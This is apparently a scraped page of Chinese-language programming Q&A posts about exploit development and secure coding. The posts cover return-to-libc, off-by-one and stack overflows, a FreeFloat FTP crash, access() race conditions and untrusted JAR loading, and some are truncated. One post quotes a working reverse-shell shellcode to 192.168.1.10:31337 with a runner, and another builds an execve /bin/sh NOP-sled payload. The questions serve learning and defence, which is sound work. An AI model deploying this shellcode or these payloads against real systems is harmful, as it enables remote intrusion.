说.Net平台更安全是否正确,因为CLR可以防止缓冲区溢出攻击?
假设有一个在托管操作系统中运行的Web浏览器(如Cosmos,SharpOS或Singularity),攻击者在技术上是否可以将IL代码注入应用程序?
我是否必须担心在非托管应用程序中无法进行的攻击?
我正在为我的系统安全类编写一个返回libc攻击.首先,易受攻击的代码:
//vuln.c
#include <stdio.h>
#include <stdlib.h>
int loadconfig(void){
char buf[1024];
sprintf(buf, "%s/.config", getenv("HOME"));
return 0;
}
int main(int argc, char **argv){
loadconfig();
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我想使用返回libc攻击.编译和调试程序:
$ gcc -g -fno-stack-protector -o vuln vuln.c
$ gdb vuln
(gdb) break loadconfig
(gdb) run
Reached breakpoint blah blah blah.
(gdb) p $ebp
$1 = (void *) 0xbfffefb0
(gdb) p system
$2 = {<text variable, no debug info>} 0x0016db20 <system>
(gdb) p exit
$3 = {<text variable, no debug info>} 0x001639e0 <exit>
(gdb) x/2000s …Run Code Online (Sandbox Code Playgroud) 所以我在下面的简单代码的帮助下尝试 Offbyone 缓冲区溢出
#include <string.h>
void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));
}
int main(int argc, char **argv)
{
cpy(argv[1]);
}
Run Code Online (Sandbox Code Playgroud)
此图描述了 Offbyone 缓冲区溢出的工作原理
摘自: https: //www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481
内存转储
因此,使用缓冲区,在 Cpy 堆栈帧中,我将保存的 RBP 的最低有效字节的值更改为00(因为通过提供恰好 128 字节输入实现了 Offbyone 溢出 )
可以看到地址0x7fffffffe177存储了EBP,其值从0x7fffffffe190变为0x7fffffffe100
因此,我继续将有效负载的起始地址设置为地址0x7fffffffe10F ,这也是 main 的返回地址 ,应该是0xffffe110 0x00007fff而不是0xffffe110 0x90907fff,但由于我们不应该在有效负载中包含 00,所以我无法设置返回地址,因为它是 64 位地址,长度为 8 字节 0xffffe110 0x00007fff
那么我们到底应该如何获得这里的返回地址呢?由于内存转储的图像,在断点 1 中,它是 cpy 函数框架,为什么 argc 和 …
每次当我在 MKD 命令中向 freefloat ftp 服务器发送 1000 字节长的缓冲区时,它就会崩溃。我正在尝试开发一个漏洞利用程序,因此我将免疫调试器附加到 freefloat ftp 服务器进程,但是当我将缓冲区发送到 ftp 服务器并在免疫调试器中按播放键时,寄存器窗口变为空白,我一直在尝试解决这个问题已经很久了,请帮忙。
我一直在做一些shell编写,并且遇到了一个建议访问()来检查文件是否存在,可以读取等等.看起来超级易于实现并且比stat()更快.当我开始查看它的手册页时,我注意到它不建议使用,因为它可能导致安全漏洞.手册页说:
使用access()检查用户是否有权例如在使用open(2)实际执行此操作之前打开文件会产生安全漏洞,因为用户可能会利用检查和打开文件之间的短时间间隔来操作它.
有谁知道如何利用它或者它是否仅仅涉及在检查文件后使用open()?我知道有很多人说使用stat()代替,但是access()很容易实现,特别是对于我用它的shell.
谢谢
我正在研究一个分析JAR文件的封闭源Java应用程序.由于java可以很容易地反编译,并且混淆真的不是什么大问题,我想提供一个在我的服务器上执行应用程序的在线服务,并返回它的结果,就像这里的fernflower:www.reversed-java.com/fernflower /.
问题是,我担心这是一个灾难的秘诀我的应用程序加载服务器上的任何可能有害的罐子,即使我从来没有运行罐子.我正在做的就是使用URLClassLoader和JarInputStream加载它们.
我正在加载的jar可以覆盖原始应用程序中的类,以便执行恶意代码或搞乱我的程序吗?
动态加载罐子有哪些风险?
我们碰巧使用IBM appscan http://www-01.ibm.com/software/awdtools/appscan/
针对我们的java代码库,它返回了大约3000个高严重性漏洞.
它们中的大多数碰巧是系统信息泄漏,它认为当我们在catch块中打印堆栈跟踪时会发生这种情况,但是我们只打印它正在发生的文件名和行号,这使我们能够更好地调试代码.
还有一些是关于SQL注入,输入验证等.
但是,我的问题是关于资源耗尽(文件描述符,磁盘空间,套接字......),它列出java.io.BufferedReader.readLine了可能的外部攻击的所有实例.
InputStream ins=conn.getInputStream();
String inputLine;
if (!preserveLinefeeds) {
BufferedReader in = new BufferedReader(new InputStreamReader(ins));
while ((inputLine = in.readLine()) != null)
pr.readThreadResponse+=inputLine;
in.close();
ins.close();
}
Run Code Online (Sandbox Code Playgroud)
conn是一个HttpURLConnection对象.
如何在代码中添加safegaurds来防止这种情况?
这是shellstorm的代码副本:
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}
Run Code Online (Sandbox Code Playgroud)
任何人都可以帮我解释一下这个"int(ret)()=(int()())代码;" ?它是如何工作的?为什么它可以使上面的代码运行?
我正在学习缓冲区溢出漏洞利用.我写了这样一个易受攻击的程序:
#include <stdio.h>
#include <string.h>
main(int argc, char *argv[])
{
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
Run Code Online (Sandbox Code Playgroud)
很简单的程序.想法是覆盖用于返回libc函数的返回地址start_main.一切都很顺利,我使用GDB来验证返回地址是否被指向shellcode内存中的正确地址覆盖.
但是,当我想要获得一个shell时,会出现:
Program received signal SIGSEGV, Segmentation fault. 0xbffff178 in ?? ()
0xbffff178是返回覆盖的返回地址,它确实指向shellcode我很确定.有帮助吗?
我正在尝试使用本教程执行缓冲区溢出漏洞.我的帖子中的所有内容都将直接在GDB中执行.
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
这是我想利用缓冲区溢出的代码.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
Run Code Online (Sandbox Code Playgroud)
我目前正在研究Linux mint 18,我有64位处理器.鉴于我有64位架构.每个地址都是8个字节.现在让我们想象一下我当前的stakframe.
| buff [256] |
| RBP |
| 保存RIP |
我的目标是用"nop sled"的地址覆盖"SAVE RIP".鉴于我是64位架构.我打算用256 + 8字符填充变量buff.8个字符将用于覆盖RBP指针.我要用perl覆盖.
perl -e 'print "\x90" x 264'
然后使用我遵循的教程中提供的shellcode
perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
我减去了26因为shellcode长度为26.
现在.我要找出使用GDB的nop雪橇的地址是什么.
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov …Run Code Online (Sandbox Code Playgroud)